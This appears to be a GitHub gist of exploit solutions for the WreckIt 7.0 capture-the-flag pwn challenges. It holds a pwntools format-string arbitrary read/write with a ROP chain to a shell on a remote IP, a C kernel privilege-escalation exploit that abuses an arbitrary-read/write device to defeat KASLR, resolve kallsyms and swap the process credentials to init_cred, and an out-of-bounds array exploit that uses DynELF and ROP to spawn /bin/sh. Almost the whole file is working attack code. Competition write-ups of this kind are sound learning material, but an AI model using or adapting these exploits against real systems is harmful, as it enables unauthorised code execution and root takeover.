Last active
July 19, 2026 03:25
-
-
Save circleous/7a886d55daa105231759838826ee9285 to your computer and use it in GitHub Desktop.
WreckIt 7.0 CTF - pwn
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| from pwn import * | |
| class FmtAARW: | |
| """Generic format-string arbitrary read/write. | |
| Works when the bug lets you resubmit format strings against a stack that | |
| holds a self-referential pointer: some slot (`anchor`) points at another | |
| stack slot, giving a 3-link chain: | |
| anchor -> pivot slot -> scratch slot(s) | |
| Writing through `anchor` (%N$hn) sets where `pivot` points; writing through | |
| `pivot` sets what a scratch slot holds; a scratch slot then holds an | |
| arbitrary address that %s / %hn dereferences. Result: read() + write_qword(). | |
| the stack (each box is one 8-byte slot, addressed by its %N$ index) | |
| ┌────────────┐ | |
| │ anchor │ %anchor$hn: set pivot's low 16 bits → | |
| │ = &pivot │ re-aim pivot at any cell / byte-lane | |
| └──────┬─────┘ | |
| │ points at | |
| ▼ | |
| ┌────────────┐ | |
| │ pivot │ %pivot$hn: write 16 bits to *pivot — | |
| │ = &cell │ into whichever cell+lane it now aims at | |
| └──────┬─────┘ | |
| │ | |
| ┌─────────┬────┴────┬─────────┐ pivot sweeps all 4 cells, | |
| ▼ ▼ ▼ ▼ each filled 16 bits at a time | |
| ┌────────┐┌────────┐┌────────┐┌────────┐ | |
| │cells[0]││cells[1]││cells[2]││cells[3]│ → each = a full addr | |
| └───┬────┘└───┬────┘└───┬────┘└───┬────┘ | |
| ▼ ▼ ▼ ▼ | |
| %scratch$s (read) / %(scratch+i)$hn (write) → AARW | |
| the same thing as a stack snapshot (addr = base + 8*(pos-6); | |
| indices/addresses are illustrative, they differ every run) | |
| %N$ stack addr 8-byte value role | |
| ─── ──────────────── ────────────────── ────────────────────── | |
| 6 0x7fffffffdc00 0x... base = &slot6 | |
| … | |
| 10 0x7fffffffdc20 0x7fffffffdc50 anchor: value == addr of %16$ | |
| … | |
| 16 0x7fffffffdc50 0x7fffffffdd10 pivot: value == addr of %40$ | |
| … | |
| 40 0x7fffffffdd10 <target address+0> cells[0] ┐ | |
| 41 0x7fffffffdd18 <target address+2> cells[1] │ scratch, each | |
| 42 0x7fffffffdd20 <target address+4> cells[2] │ filled by pivot | |
| 43 0x7fffffffdd28 <target address+6> cells[3] ┘ | |
| Two levels of indirection: `anchor` re-aims `pivot` (via its low 16 bits), | |
| then `pivot` — wherever aimed — writes 16 bits at a time, sweeping across | |
| the four contiguous scratch cells (lanes 0/2/4/6) to fill each with a full | |
| target address; a final %s/%hn through the cells is the read/write. | |
| Pass a `submit(fmt: bytes) -> bytes` that sends one format string and | |
| returns printf's reply. `anchor` is the %N$ index of the stack pointer. | |
| """ | |
| def __init__(self, submit, anchor, n_cells=4, stack_dump=80): | |
| self.submit = submit | |
| self.anchor = anchor | |
| self._pivot_at = None | |
| self.snap = self._dump(1, stack_dump) # exposed: caller derives PIE etc. | |
| # anchor points at the pivot slot: clobber through it, see what moved. | |
| self._w8(anchor, 0xAA) | |
| self.pivot = self._diff(self.snap, self._dump(1, stack_dump)) | |
| assert self.pivot, "anchor is not a pointer to a stack slot" | |
| self._w8(anchor, self.snap[self.pivot - 1] & 0xFF) # restore clobbered byte | |
| # pivot slot points at the scratch slot: write through it, see what moved. | |
| self._w16(self.pivot, 0x1337) | |
| self.scratch = self._diff(self.snap, self._dump(1, stack_dump)) | |
| assert self.scratch, "pivot slot does not point at a stack slot" | |
| # anchor's value is a known stack address -> recover the stack base. | |
| self.base = self.snap[anchor - 1] - 8 * (self.pivot - 6) | |
| self.cells = [self._make_cell(self.scratch + i) for i in range(n_cells)] | |
| log.info(f"anchor={anchor} pivot={self.pivot} scratch={self.scratch} base={self.base:#x}") | |
| def stack_addr(self, pos): | |
| return self.base + 8 * (pos - 6) | |
| # --- low-level format-string primitives ------------------------------- | |
| def _w16(self, pos, v): | |
| v &= 0xFFFF | |
| self.submit((f"%{pos}$hn" if v == 0 else f"%{v}c%{pos}$hn").encode()) | |
| def _w8(self, pos, v): | |
| v &= 0xFF | |
| self.submit((f"%{pos}$hhn" if v == 0 else f"%{v}c%{pos}$hhn").encode()) | |
| def _dump(self, start, count, batch=5): | |
| out = [] | |
| for i in range(0, count, batch): | |
| n = min(batch, count - i) | |
| cur = start + i | |
| fmt = b"|".join(f"%{j}$p".encode() for j in range(cur, cur + n)) | |
| for p in self.submit(fmt).strip().split(b"|"): | |
| p = p.strip() | |
| out.append(int(p, 16) if p != b"(nil)" else 0) | |
| return out | |
| @staticmethod | |
| def _diff(a, b): | |
| for i in range(min(len(a), len(b))): | |
| if a[i] != b[i]: | |
| log.debug(f" [{i + 1}] {a[i]:#x} -> {b[i]:#x}") | |
| return i + 1 | |
| return None | |
| def _pivot_goto(self, addr): | |
| if self._pivot_at != addr: | |
| self._w16(self.anchor, addr) # only low 16 bits vary; stack region is fixed | |
| self._pivot_at = addr | |
| def _make_cell(self, pos): | |
| """Return set(target): make the 8-byte value at stack slot `pos` == target.""" | |
| cell_addr = self.stack_addr(pos) | |
| cache = {0: None, 2: None, 4: None, 6: None} | |
| def set_it(target): | |
| for off in (6, 4, 2, 0): | |
| lane = (target >> (off * 8)) & 0xFFFF | |
| if lane != cache[off]: | |
| self._pivot_goto(cell_addr + off) | |
| self._w16(self.pivot, lane) | |
| cache[off] = lane | |
| return set_it | |
| def _multi_w16(self, writes): | |
| parts, total = [], 0 | |
| for pos, v in writes: | |
| v &= 0xFFFF | |
| delta = (v - total) & 0xFFFF | |
| if delta: | |
| parts.append(f"%{delta}c") | |
| parts.append(f"%{pos}$hn") | |
| total = v | |
| self.submit("".join(parts).encode()) | |
| # --- public read / write --------------------------------------------- | |
| def write_qword(self, addr, value): | |
| for i, cell in enumerate(self.cells[:4]): | |
| cell(addr + 2 * i) | |
| self._multi_w16([(self.scratch + i, (value >> (16 * i)) & 0xFFFF) for i in range(4)]) | |
| def read(self, addr, length, progress=False): | |
| data = b"" | |
| p = log.progress("Leaking") if progress else None | |
| while len(data) < length: | |
| self.cells[0](addr + len(data)) | |
| chunk = self.submit(f"%{self.scratch}$s".encode()) | |
| if chunk.endswith(b"\n"): | |
| chunk = chunk[:-1] | |
| data += chunk if chunk else b"\x00" | |
| if p: | |
| p.status(f"{len(data):#x}/{length:#x}") | |
| if p: | |
| p.success(f"{len(data):#x} bytes") | |
| return data[:length] | |
| r = remote("35.198.248.110", 34880) | |
| r.recvuntil(b"> ") | |
| wait = True | |
| def submit(s): | |
| r.sendline(s) | |
| if wait: | |
| return r.recvuntil(b"> ", drop=True) | |
| # Build the arbitrary read/write off the self-referential pointer at slot 10. | |
| m = FmtAARW(submit, anchor=10) | |
| pie = m.snap[70] - 0x40 # AT_PHDR | |
| log.info(f"PIE {pie:#x}") | |
| printf = u64(m.read(pie + 0x3FC8, 8)) # printf@GOT | |
| log.info(f"PRINTF {printf:#x}") | |
| # --- how the libc offset below was found (run once, then hardcode) -------- | |
| # Scan backwards page-by-page from printf until the ELF header shows up: that | |
| # page is the libc base. Then dump the first 0x400 bytes, pull the GNU build | |
| # id out of the NT_GNU_BUILD_ID note, and look it up on libc.rip / a local | |
| # libc-database to fetch the exact binary and its symbol offsets. | |
| # | |
| # page = printf & ~0xFFF | |
| # while m.read(page, 4) != b"\x7fELF": | |
| # page -= 0x1000 | |
| # log.info(f"LIBC base {page:#x}") | |
| # hdr = m.read(page, 0x400) # build id lives in the .note.gnu.build-id note | |
| # log.info("BUILD ID region:\n" + hexdump(hdr)) | |
| # libc = page | |
| # -------------------------------------------------------------------------- | |
| libc = printf - 0x525b0 | |
| log.info(f"LIBC {libc:#x}") | |
| pop_rdi = libc + 0x277e5 | |
| bin_sh = libc + 0x197031 | |
| add_rsp_d8 = libc + 0x416a3 | |
| system = libc + 0x4c490 | |
| ret = m.base - 8 | |
| rop = [pop_rdi + 1, pop_rdi, bin_sh, system] # +1 for 16-byte stack alignment | |
| for i, val in enumerate(rop): | |
| m.write_qword(ret + 0xE0 + i * 8, val) | |
| wait = False # the triggering write returns into the ROP, no prompt back | |
| m.write_qword(ret, add_rsp_d8) | |
| r.recvall(timeout=5) | |
| r.interactive() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* goddes — /dev/vuln arbitrary kernel R/W → root. | |
| * | |
| * The device exposes copy_to/from_user(kaddr, ubuf, size) with no checks | |
| * (max 0x1000 bytes/call). We: | |
| * 1. brute the KASLR base (first mapped kernel-text page), | |
| * 2. parse the in-kernel kallsyms tables (Linux 7.0 layout, PC-relative | |
| * offsets — ref: kernel scripts/kallsyms.c, trailofbits/mquire) to | |
| * resolve init_task, init_cred and page_offset_base exactly, | |
| * 3. read page_offset_base to de-randomise the physmap, scan it for our | |
| * task_struct (via a prctl comm marker), and point our cred/real_cred | |
| * at init_cred → full root+caps. | |
| * | |
| * No usermodehelper (modprobe_path / core_pattern are neutered by | |
| * CONFIG_STATIC_USERMODEHELPER on this target). | |
| */ | |
| #define _GNU_SOURCE | |
| #include <err.h> | |
| #include <fcntl.h> | |
| #include <stddef.h> | |
| #include <stdint.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <sys/ioctl.h> | |
| #include <sys/prctl.h> | |
| #include <unistd.h> | |
| #define DEV_PATH "/dev/vuln" | |
| #define IOCTL_ARB_READ 0xC0185601 | |
| #define IOCTL_ARB_WRITE 0xC0185602 | |
| #define MAX_XFER 0x1000 | |
| #define STEP (2ULL * 1024 * 1024) | |
| #define KERNEL_MIN 0xffffffff80000000ULL | |
| #define KERNEL_MAX 0xffffffffc0000000ULL | |
| struct arb_req { | |
| uint64_t kaddr; | |
| uint64_t ubuf; | |
| uint64_t size; | |
| }; | |
| static int fd = -1; | |
| /* --- primitives --- */ | |
| static int arb_read_safe(uint64_t kaddr, void* buf, size_t size) { | |
| struct arb_req req = {.kaddr = kaddr, .ubuf = (uint64_t)buf, .size = size}; | |
| return ioctl(fd, IOCTL_ARB_READ, &req); | |
| } | |
| static void arb_read(uint64_t kaddr, void* buf, size_t size) { | |
| if (arb_read_safe(kaddr, buf, size) < 0) err(1, "arb_read @ 0x%lx", kaddr); | |
| } | |
| static int arb_read64_safe(uint64_t addr, uint64_t* out) { | |
| return arb_read_safe(addr, out, sizeof(*out)); | |
| } | |
| static uint64_t arb_read64(uint64_t kaddr) { | |
| uint64_t v; | |
| arb_read(kaddr, &v, sizeof(v)); | |
| return v; | |
| } | |
| static void arb_write64(uint64_t kaddr, uint64_t val) { | |
| struct arb_req req = { | |
| .kaddr = kaddr, .ubuf = (uint64_t)&val, .size = sizeof(val)}; | |
| if (ioctl(fd, IOCTL_ARB_WRITE, &req) < 0) err(1, "arb_write @ 0x%lx", kaddr); | |
| } | |
| static void arb_read_big(uint64_t kaddr, void* buf, size_t size) { | |
| for (size_t done = 0; done < size;) { | |
| size_t c = size - done > MAX_XFER ? MAX_XFER : size - done; | |
| arb_read(kaddr + done, (uint8_t*)buf + done, c); | |
| done += c; | |
| } | |
| } | |
| static int arb_read_big_safe(uint64_t kaddr, void* buf, size_t size) { | |
| for (size_t done = 0; done < size;) { | |
| size_t c = size - done > MAX_XFER ? MAX_XFER : size - done; | |
| if (arb_read_safe(kaddr + done, (uint8_t*)buf + done, c) < 0) return -1; | |
| done += c; | |
| } | |
| return 0; | |
| } | |
| /* --- KASLR base --- */ | |
| static uint64_t find_kaslr_base(void) { | |
| uint8_t buf[64]; | |
| for (uint64_t base = KERNEL_MIN; base < KERNEL_MAX; base += STEP) { | |
| if (arb_read_safe(base, buf, sizeof(buf)) < 0) continue; | |
| for (size_t i = 0; i < sizeof(buf); i++) | |
| if (buf[i] != 0x00 && buf[i] != 0xff) { | |
| printf("[+] kernel base = 0x%016lx\n", base); | |
| return base; | |
| } | |
| } | |
| errx(1, "kernel base not found"); | |
| } | |
| /* ===================== kallsyms resolver (Linux 7.0 layout) ===================== | |
| * Layout (each .balign 4): | |
| * num_syms(.long) | names | markers(.long[]) | token_table | token_index | | |
| * offsets(.long[]) | seqs_of_names | |
| * Addresses are PC-relative to the offset slot itself: | |
| * addr[i] = (offs_base + 4*i) + (int32)offs[i] | |
| * Anchors: token_index (256 LE u16 asc from 0) → token_table just before, offsets | |
| * just after; markers (asc u32 from 0) just before token_table; linux_banner before | |
| * num_syms gives names_start. */ | |
| static struct { | |
| int ready; | |
| uint32_t num; | |
| int32_t* offs; | |
| uint8_t* names; | |
| size_t names_len; | |
| uint64_t offs_base; | |
| uint16_t tindex[256]; | |
| uint8_t toktab[8192]; | |
| } KS; | |
| static uint64_t ks_sym_addr(uint32_t i) { | |
| return KS.offs_base + 4ULL * i + (int64_t)KS.offs[i]; | |
| } | |
| static size_t ks_expand(size_t off, char* out, size_t outmax) { | |
| const uint8_t* d = KS.names + off; | |
| int len = *d++; | |
| off++; | |
| if (len & 0x80) { | |
| len = (len & 0x7f) | (*d++ << 7); | |
| off++; | |
| } | |
| off += len; | |
| size_t o = 0; | |
| int skipped = 0; | |
| while (len--) { | |
| const uint8_t* t = KS.toktab + KS.tindex[*d++]; | |
| while (*t) { | |
| if (skipped) { | |
| if (o + 1 < outmax) out[o++] = *t; | |
| } else | |
| skipped = 1; | |
| t++; | |
| } | |
| } | |
| out[o] = 0; | |
| return off; | |
| } | |
| static uint64_t ks_resolve(const char* name) { | |
| if (!KS.ready) return 0; | |
| size_t off = 0; | |
| char nm[256]; | |
| for (uint32_t i = 0; i < KS.num; i++) { | |
| size_t next = ks_expand(off, nm, sizeof(nm)); | |
| if (!strcmp(nm, name)) return ks_sym_addr(i); | |
| off = next; | |
| } | |
| return 0; | |
| } | |
| /* token_table: 256 NUL-terminated strings immediately before token_index. | |
| * Returns its address, or 0 if this token_index candidate is bogus. */ | |
| static uint64_t ks_find_token_table(uint64_t tindex_addr) { | |
| uint16_t last = KS.tindex[255]; | |
| size_t bufsz = last + 128; | |
| if (bufsz > sizeof(KS.toktab)) return 0; | |
| uint8_t tt[8320]; | |
| uint64_t tt_base = tindex_addr - bufsz; | |
| if (arb_read_safe(tt_base, tt, bufsz) < 0) return 0; | |
| for (size_t si = 0; si + last + 1 <= bufsz; si++) { | |
| if (tt[si] == 0) continue; | |
| if (si > 0 && tt[si - 1] != 0) continue; | |
| int ok = 1; | |
| for (int k = 1; k < 256 && ok; k++) { | |
| if (tt[si + KS.tindex[k] - 1] != 0) | |
| ok = 0; | |
| else if (tt[si + KS.tindex[k]] == 0) | |
| ok = 0; | |
| } | |
| if (ok) return tt_base + si; | |
| } | |
| return 0; | |
| } | |
| /* markers: ascending u32 (first entry 0) just before token_table. */ | |
| static uint64_t find_markers(uint64_t toktab_addr, uint64_t kbase, | |
| uint32_t** out_markers, uint32_t* out_cnt) { | |
| size_t win = 0x100000; | |
| if (toktab_addr - kbase < win) win = toktab_addr - kbase; | |
| win &= ~3ULL; | |
| uint8_t* buf = malloc(win); | |
| if (!buf) return 0; | |
| if (arb_read_big_safe(toktab_addr - win, buf, win) < 0) { | |
| free(buf); | |
| return 0; | |
| } | |
| const uint32_t* u = (const uint32_t*)buf; | |
| ssize_t n = win / 4; | |
| ssize_t i = n - 1; | |
| while (i > 0 && u[i] != 0) { | |
| uint32_t step = u[i] - u[i - 1]; | |
| if (u[i - 1] >= u[i] || step < 0x200 || step > 0x800100) { | |
| free(buf); | |
| return 0; | |
| } | |
| i--; | |
| } | |
| if (u[i] != 0) { | |
| free(buf); | |
| return 0; | |
| } | |
| uint32_t cnt = n - i; | |
| uint32_t* m = malloc(cnt * 4); | |
| if (!m) { | |
| free(buf); | |
| return 0; | |
| } | |
| memcpy(m, u + i, cnt * 4); | |
| free(buf); | |
| *out_markers = m; | |
| *out_cnt = cnt; | |
| return (toktab_addr - win) + (uint64_t)i * 4; | |
| } | |
| /* Parse names from names_start; require offset at every 256th symbol to equal | |
| * markers[j], and _stext to resolve near kbase. On success sets KS ready. */ | |
| static int ks_validate_names(uint64_t names_start, uint64_t names_end, | |
| const uint32_t* markers, uint32_t markers_cnt, | |
| uint64_t kbase) { | |
| if (names_end <= names_start || names_end - names_start > 16ULL * 1024 * 1024) | |
| return 0; | |
| size_t nlen = names_end - names_start; | |
| uint8_t* nb = malloc(nlen + 16); | |
| if (!nb) return 0; | |
| if (arb_read_big_safe(names_start, nb, nlen) < 0) { | |
| free(nb); | |
| return 0; | |
| } | |
| memset(nb + nlen, 0, 16); | |
| free(KS.names); | |
| KS.names = nb; | |
| KS.names_len = nlen; | |
| size_t off = 0; | |
| uint32_t i = 0; | |
| char nm[512]; | |
| while (off < nlen && KS.names[off] != 0) { | |
| if ((i & 0xFF) == 0) { | |
| uint32_t j = i >> 8; | |
| if (j < markers_cnt && markers[j] != off) return 0; | |
| } | |
| size_t next = ks_expand(off, nm, sizeof(nm)); | |
| if (next <= off || next > nlen + 2) return 0; | |
| off = next; | |
| i++; | |
| if (i > 4000000) return 0; | |
| } | |
| if (i < (markers_cnt ? (markers_cnt - 1) * 256u + 1 : 1)) return 0; | |
| KS.num = i; | |
| free(KS.offs); | |
| KS.offs = malloc(4ULL * KS.num); | |
| if (!KS.offs) return 0; | |
| if (arb_read_big_safe(KS.offs_base, KS.offs, 4ULL * KS.num) < 0) return 0; | |
| KS.ready = 1; | |
| uint64_t s = ks_resolve("_stext"); | |
| if (!s) s = ks_resolve("_text"); | |
| if (s && s > kbase - 0x200000 && s < kbase + 0x400000) return 1; | |
| KS.ready = 0; | |
| return 0; | |
| } | |
| static int ks_init(uint64_t kbase) { | |
| if (KS.ready) return 1; | |
| uint8_t win[MAX_XFER]; | |
| uint64_t end = kbase + 96ULL * 1024 * 1024; | |
| /* token_index (256 LE u16 asc from 0, small steps) validated by a token_table | |
| * right before it — reject false positives and keep scanning. */ | |
| uint64_t tindex_addr = 0, toktab_addr = 0; | |
| for (uint64_t addr = kbase; addr < end && !toktab_addr; | |
| addr += MAX_XFER - 512) { | |
| if (arb_read_safe(addr, win, MAX_XFER) < 0) continue; | |
| for (size_t p = 0; p + 512 <= MAX_XFER; p += 2) { | |
| const uint16_t* v = (const uint16_t*)(win + p); | |
| if (v[0] != 0 || v[255] < 256 || v[255] >= 4096) continue; | |
| int ok = 1; | |
| for (int k = 1; k < 256; k++) { | |
| int step = v[k] - v[k - 1]; | |
| if (step < 1 || step > 40) { | |
| ok = 0; | |
| break; | |
| } | |
| } | |
| if (!ok) continue; | |
| memcpy(KS.tindex, v, sizeof(KS.tindex)); | |
| uint64_t cand = ks_find_token_table(addr + p); | |
| if (cand) { | |
| tindex_addr = addr + p; | |
| toktab_addr = cand; | |
| break; | |
| } | |
| } | |
| } | |
| if (!toktab_addr) { | |
| warnx("kallsyms token tables not found"); | |
| return 0; | |
| } | |
| size_t toktab_len = tindex_addr - toktab_addr; | |
| if (toktab_len > sizeof(KS.toktab)) toktab_len = sizeof(KS.toktab); | |
| arb_read_big(toktab_addr, KS.toktab, toktab_len); | |
| /* offsets base = 4-aligned end of token_index (256 shorts = 512 bytes) */ | |
| KS.offs_base = (tindex_addr + 512 + 3) & ~3ULL; | |
| /* markers */ | |
| uint32_t *markers = NULL, markers_cnt = 0; | |
| uint64_t markers_start = | |
| find_markers(toktab_addr, kbase, &markers, &markers_cnt); | |
| if (!markers_start) { | |
| warnx("kallsyms_markers not found"); | |
| return 0; | |
| } | |
| /* linux_banner precedes num_syms → names_start; validate via markers. | |
| * Collect "Linux version " hits before markers, try closest-first. */ | |
| uint64_t cand[64]; | |
| int nc = 0; | |
| const char* bn = "Linux version "; | |
| size_t bnlen = 14; | |
| for (uint64_t addr = kbase; addr < markers_start && nc < 64; | |
| addr += MAX_XFER - 32) { | |
| size_t span = markers_start - addr; | |
| if (span > MAX_XFER) span = MAX_XFER; | |
| if (arb_read_safe(addr, win, span) < 0) continue; | |
| for (size_t p = 0; p + bnlen <= span; p++) | |
| if (!memcmp(win + p, bn, bnlen)) { | |
| if (nc < 64) cand[nc++] = addr + p; | |
| } | |
| } | |
| int ok = 0; | |
| for (int c = nc - 1; c >= 0 && !ok; c--) { | |
| char tmp[512]; | |
| if (arb_read_safe(cand[c], tmp, sizeof(tmp)) < 0) continue; | |
| size_t blen = strnlen(tmp, sizeof(tmp)); | |
| uint64_t nsa = | |
| (cand[c] + blen + 1 + 3) & ~3ULL; /* num_syms addr (4-align) */ | |
| uint32_t ns; | |
| if (arb_read_safe(nsa, &ns, 4) < 0) continue; | |
| if (ns < (markers_cnt ? (markers_cnt - 1) * 256u + 1 : 1) || | |
| ns > markers_cnt * 256u) | |
| continue; | |
| uint64_t ns4 = nsa + 4, | |
| ns8 = (nsa + 4 + 7) & ~7ULL; /* names align: try 4 and 8 */ | |
| if (ks_validate_names(ns4, markers_start, markers, markers_cnt, kbase) || | |
| ks_validate_names(ns8, markers_start, markers, markers_cnt, kbase)) | |
| ok = 1; | |
| } | |
| free(markers); | |
| if (!ok) { | |
| warnx("kallsyms names not resolved"); | |
| return 0; | |
| } | |
| printf("[+] kallsyms: %u symbols\n", KS.num); | |
| return 1; | |
| } | |
| /* --- root: swap our cred → init_cred (no usermodehelper) --- */ | |
| static void swap_creds(void) { | |
| uint64_t kbase = find_kaslr_base(); | |
| if (!ks_init(kbase)) errx(1, "kallsyms init failed"); | |
| uint64_t init_task = ks_resolve("init_task"); | |
| uint64_t init_cred = ks_resolve("init_cred"); | |
| if (!init_task || !init_cred) | |
| errx(1, "resolve failed (init_task=0x%lx init_cred=0x%lx)", init_task, | |
| init_cred); | |
| printf("[+] init_task @ 0x%016lx init_cred @ 0x%016lx\n", init_task, | |
| init_cred); | |
| /* task_struct offsets derived from init_task by exact-value matching */ | |
| uint8_t it[0x2800]; | |
| arb_read_big(init_task, it, sizeof(it)); | |
| ptrdiff_t comm_off = -1, cred_off = -1; | |
| for (size_t i = 0; i + 10 <= sizeof(it); i++) | |
| if (!memcmp(it + i, "swapper/0", 10)) { | |
| comm_off = i; | |
| break; | |
| } | |
| if (comm_off < 0) errx(1, "swapper/0 not inside init_task"); | |
| for (size_t i = 8; i + 8 <= sizeof(it); i += 8) | |
| if (*(uint64_t*)(it + i) == init_cred && | |
| *(uint64_t*)(it + i - 8) == init_cred) { | |
| cred_off = i; | |
| break; /* cred, with real_cred before it */ | |
| } | |
| if (cred_off < 0) errx(1, "cred field not found in init_task"); | |
| printf("[+] offsets: comm=+0x%tx cred=+0x%tx\n", comm_off, cred_off); | |
| /* de-randomise the physmap via page_offset_base, then find our task_struct */ | |
| uint64_t pob = ks_resolve("page_offset_base"); | |
| uint64_t phys = pob ? arb_read64(pob) : 0xffff888000000000ULL; | |
| printf("[*] page_offset_base = 0x%016lx\n", phys); | |
| char marker[16] = "G0000000DDESS\0"; | |
| if (prctl(PR_SET_NAME, marker, 0, 0, 0) < 0) err(1, "prctl"); | |
| printf("[*] uid=%u, scanning physmap for our task...\n", getuid()); | |
| uint8_t buf[MAX_XFER]; | |
| uint64_t our_task = 0; | |
| for (uint64_t a = phys; a < phys + (16ULL << 30) && !our_task; | |
| a += MAX_XFER - 16) { | |
| if (arb_read_safe(a, buf, MAX_XFER) < 0) continue; | |
| for (int o = 0; o <= (int)(MAX_XFER - 16); o++) { | |
| if (memcmp(buf + o, marker, 14)) continue; | |
| uint64_t task = (a + o) - comm_off, cred; | |
| if (arb_read64_safe(task + cred_off, &cred) < 0) continue; | |
| if (cred < 0xffff800000000000ULL) continue; /* skip false hits */ | |
| our_task = task; | |
| break; | |
| } | |
| } | |
| if (!our_task) errx(1, "our task not found in physmap"); | |
| printf("[+] our task_struct @ 0x%016lx\n", our_task); | |
| arb_write64(our_task + cred_off, init_cred); /* cred */ | |
| arb_write64(our_task + cred_off - 8, init_cred); /* real_cred */ | |
| printf("[*] cred swapped — uid=%u euid=%u\n", getuid(), geteuid()); | |
| if (getuid() == 0) { | |
| printf("[+] root! spawning shell\n"); | |
| execl("/bin/sh", "sh", NULL); | |
| err(1, "execl"); | |
| } | |
| errx(1, "still uid %u", getuid()); | |
| } | |
| int main(void) { | |
| fd = open(DEV_PATH, O_RDWR); | |
| if (fd < 0) err(1, "open %s", DEV_PATH); | |
| swap_creds(); | |
| close(fd); | |
| return 0; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| from pwn import * | |
| HOST = "35.198.248.110" | |
| PORT = 32175 | |
| context.arch = "amd64" | |
| r = remote(HOST, PORT) | |
| r.recvuntil(b">>> ") | |
| def read_val(idx): | |
| r.sendline(f"read {idx}".encode()) | |
| resp = r.recvuntil(b">>> ") | |
| return int(resp.split(b"\n")[0].strip(), 0) | |
| def write_val(idx, val): | |
| r.sendline(f"write {idx} {val}".encode()) | |
| r.recvuntil(b">>> ") | |
| # qword_4050 is at offset 0x4050 from pie_base -> OOB idx = (off - 0x4050)//8 | |
| def pie(off): | |
| return (off - 0x4050) // 8 | |
| def read_abs(addr): | |
| return read_val((addr - pie_base - 0x4050) // 8) | |
| def write_abs(addr, val): | |
| write_val((addr - pie_base - 0x4050) // 8, val) | |
| # ------------------------------------------------------------ | |
| # 1. leak PIE from .init_array[0] (pie_base + 0x1190) | |
| # ------------------------------------------------------------ | |
| pie_base = read_val(pie(0x3D88)) - 0x1190 | |
| log.info(f"pie_base: {pie_base:#018x}") | |
| # ------------------------------------------------------------ | |
| # 2. leak puts@GOT, walk back to the libc ELF header (no static | |
| # offset -- the build-id isn't indexed anywhere, so there's no | |
| # libc file to read offsets from). | |
| # ------------------------------------------------------------ | |
| puts_addr = read_val(pie(0x3FA8)) | |
| libc_base = puts_addr & ~0xFFF | |
| while read_abs(libc_base) & 0xFFFFFFFF != 0x464c457f: | |
| libc_base -= 0x1000 | |
| log.info(f"libc_base: {libc_base:#018x}") | |
| # ------------------------------------------------------------ | |
| # 3. DynELF over the live leak primitive -- parse | |
| # .dynamic/.gnu.hash/.symtab/.strtab to resolve symbols instead | |
| # of guessing static offsets. | |
| # ------------------------------------------------------------ | |
| def leak(addr): | |
| a = addr & ~7 | |
| return p64(read_abs(a))[addr - a:] | |
| context.log_level = "error" | |
| d = DynELF(leak, libc_base) | |
| environ = d.lookup("environ", "libc") | |
| system = d.lookup("system", "libc") | |
| context.log_level = "info" | |
| log.info(f"environ: {environ:#018x} (libc+{environ - libc_base:#x})") | |
| log.info(f"system: {system:#018x} (libc+{system - libc_base:#x})") | |
| # ------------------------------------------------------------ | |
| # 4. stack leak via environ | |
| # ------------------------------------------------------------ | |
| stack_leak = read_abs(environ) | |
| log.info(f"stack: {stack_leak:#018x}") | |
| # ------------------------------------------------------------ | |
| # 5. pop rdi; ret -- scan forward from system for the "5f c3" bytes. | |
| # We jump onto the exact address, so instruction alignment is | |
| # irrelevant; any executable "5f c3" is pop rdi; ret. | |
| # ------------------------------------------------------------ | |
| def find_pop_rdi(anchor, limit=0x4000): | |
| blob = b"" | |
| for off in range(0, limit, 8): | |
| blob += p64(read_abs(anchor + off)) | |
| i = blob.find(b"\x5f\xc3") | |
| if i != -1: | |
| return anchor + i | |
| raise Exception("pop rdi;ret not found") | |
| pop_rdi = find_pop_rdi(system) | |
| log.info(f"pop_rdi: {pop_rdi:#018x} (libc+{pop_rdi - libc_base:#x})") | |
| # ------------------------------------------------------------ | |
| # 6. exploit: /bin/sh into qword_4050, ROP over the return address | |
| # slot found scanning down from the environ stack leak. | |
| # ------------------------------------------------------------ | |
| str_bin_sh = pie_base + 0x4050 | |
| write_val(0, u64(b"/bin/sh\0")) | |
| rop = [pop_rdi, str_bin_sh, system] | |
| ret_addr = stack_leak - 288 | |
| log.info(f"hijacking {ret_addr:#018x}") | |
| for i, val in enumerate(rop): | |
| write_abs(ret_addr + i * 8, val) | |
| r.sendline(b"quit") | |
| r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment